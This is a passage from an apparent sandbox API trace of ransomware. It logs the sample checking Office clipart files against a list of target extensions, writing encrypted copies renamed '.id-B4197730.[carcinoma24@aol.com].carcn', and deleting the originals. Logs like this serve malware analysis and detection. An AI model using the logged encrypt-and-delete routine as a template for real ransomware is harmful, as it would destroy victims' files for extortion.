Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.248] lstrlenW (lpString=".jpg") returned 4 [0278.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.248] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0278.248] lstrlenW (lpString="DD01631_.WMF") returned 12 [0278.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.249] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=552) returned 1 [0278.250] CloseHandle (hObject=0x414) returned 1 [0278.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0278.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.253] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.254] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0278.254] GetLastError () returned 0x0 [0278.254] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x228, lpOverlapped=0x0) returned 1 [0278.256] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x230, lpOverlapped=0x0) returned 1 [0278.257] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.258] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0278.258] SetEndOfFile (hFile=0x54c) returned 1 [0278.258] CloseHandle (hObject=0x54c) returned 1 [0278.258] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.258] SetEndOfFile (hFile=0x414) returned 1 [0278.739] CloseHandle (hObject=0x414) returned 1 [0278.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0279.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0279.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0279.971] lstrlenW (lpString=".doc") returned 4 [0279.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.971] lstrlenW (lpString=".docx") returned 5 [0279.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.971] lstrlenW (lpString=".pdf") returned 4 [0279.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.971] lstrlenW (lpString=".xls") returned 4 [0279.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.972] lstrlenW (lpString=".xlsx") returned 5 [0279.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.972] lstrlenW (lpString=".ppt") returned 4 [0279.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0279.972] lstrlenW (lpString=".zip") returned 4 [0279.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.972] lstrlenW (lpString=".rar") returned 4 [0279.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.972] lstrlenW (lpString=".bz2") returned 4 [0279.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.972] lstrlenW (lpString=".7z") returned 3 [0279.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0279.972] lstrlenW (lpString=".dbf") returned 4 [0279.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0279.973] lstrlenW (lpString=".1cd") returned 4 [0279.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0279.973] lstrlenW (lpString=".jpg") returned 4 [0279.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.974] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=12356) returned 1 [0279.974] CloseHandle (hObject=0x538) returned 1 [0279.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0279.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0279.975] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.975] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0279.978] GetLastError () returned 0x0 [0279.978] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x3044, lpOverlapped=0x0) returned 1 [0279.997] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3050, lpOverlapped=0x0) returned 1 [0280.008] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0280.008] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0280.009] SetEndOfFile (hFile=0x554) returned 1 [0280.009] CloseHandle (hObject=0x554) returned 1 [0280.009] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.009] SetEndOfFile (hFile=0x538) returned 1 [0280.013] CloseHandle (hObject=0x538) returned 1 [0280.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0280.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0280.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0280.014] lstrlenW (lpString=".doc") returned 4 [0280.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.014] lstrlenW (lpString=".docx") returned 5 [0280.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.014] lstrlenW (lpString=".pdf") returned 4 [0280.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.014] lstrlenW (lpString=".xls") returned 4 [0280.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.014] lstrlenW (lpString=".xlsx") returned 5 [0280.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.015] lstrlenW (lpString=".ppt") returned 4 [0280.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0280.015] lstrlenW (lpString=".zip") returned 4 [0280.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.015] lstrlenW (lpString=".rar") returned 4 [0280.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.015] lstrlenW (lpString=".bz2") returned 4 [0280.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.015] lstrlenW (lpString=".7z") returned 3 [0280.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0280.015] lstrlenW (lpString=".dbf") returned 4 [0280.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0280.015] lstrlenW (lpString=".1cd") returned 4 [0280.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0280.015] lstrlenW (lpString=".jpg") returned 4 [0280.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.016] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2280) returned 1 [0280.016] CloseHandle (hObject=0x538) returned 1 [0280.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0280.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0280.017] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.017] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0280.018] GetLastError () returned 0x0 [0280.018] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x8e8, lpOverlapped=0x0) returned 1 [0280.035] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8f0, lpOverlapped=0x0) returned 1 [0280.037] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0280.038] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0280.038] SetEndOfFile (hFile=0x554) returned 1 [0280.038] CloseHandle (hObject=0x554) returned 1 [0280.038] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.038] SetEndOfFile (hFile=0x538) returned 1 [0280.821] CloseHandle (hObject=0x538) returned 1 [0280.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0280.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0280.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0280.825] lstrlenW (lpString=".doc") returned 4 [0280.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.825] lstrlenW (lpString=".docx") returned 5 [0280.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.825] lstrlenW (lpString=".pdf") returned 4 [0280.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.825] lstrlenW (lpString=".xls") returned 4 [0280.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.825] lstrlenW (lpString=".xlsx") returned 5 [0280.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.825] lstrlenW (lpString=".ppt") returned 4 [0280.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0280.825] lstrlenW (lpString=".zip") returned 4 [0280.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.825] lstrlenW (lpString=".rar") returned 4 [0280.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.825] lstrlenW (lpString=".bz2") returned 4 [0280.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.826] lstrlenW (lpString=".7z") returned 3 [0280.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0280.826] lstrlenW (lpString=".dbf") returned 4 [0280.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0280.826] lstrlenW (lpString=".1cd") returned 4 [0280.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0280.826] lstrlenW (lpString=".jpg") returned 4 [0280.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.827] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11994) returned 1 [0280.827] CloseHandle (hObject=0x4bc) returned 1 [0280.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0280.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0280.828] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.829] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0280.830] GetLastError () returned 0x0 [0280.830] ReadFile (in: hFile=0x4bc, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x2eda, lpOverlapped=0x0) returned 1 [0280.856] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0280.857] ReadFile (in: hFile=0x4bc, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0280.858] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0280.859] SetEndOfFile (hFile=0x4a8) returned 1 [0280.859] CloseHandle (hObject=0x4a8) returned 1 [0280.859] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.859] SetEndOfFile (hFile=0x4bc) returned 1 [0280.863] CloseHandle (hObject=0x4bc) returned 1 [0280.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0280.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0280.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0280.865] lstrlenW (lpString=".doc") returned 4 [0280.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.865] lstrlenW (lpString=".docx") returned 5 [0280.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.865] lstrlenW (lpString=".pdf") returned 4 [0280.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.865] lstrlenW (lpString=".xls") returned 4 [0280.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.865] lstrlenW (lpString=".xlsx") returned 5 [0280.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.865] lstrlenW (lpString=".ppt") returned 4 [0280.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0280.865] lstrlenW (lpString=".zip") returned 4 [0280.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.865] lstrlenW (lpString=".rar") returned 4 [0280.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.865] lstrlenW (lpString=".bz2") returned 4 [0280.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.865] lstrlenW (lpString=".7z") returned 3 [0280.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0280.866] lstrlenW (lpString=".dbf") returned 4 [0280.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0280.866] lstrlenW (lpString=".1cd") returned 4 [0280.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0280.866] lstrlenW (lpString=".jpg") returned 4 [0280.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.867] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=30240) returned 1 [0280.867] CloseHandle (hObject=0x4bc) returned 1 [0280.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0280.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0280.868] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.868] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0280.869] GetLastError () returned 0x0 [0280.869] ReadFile (in: hFile=0x4bc, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, 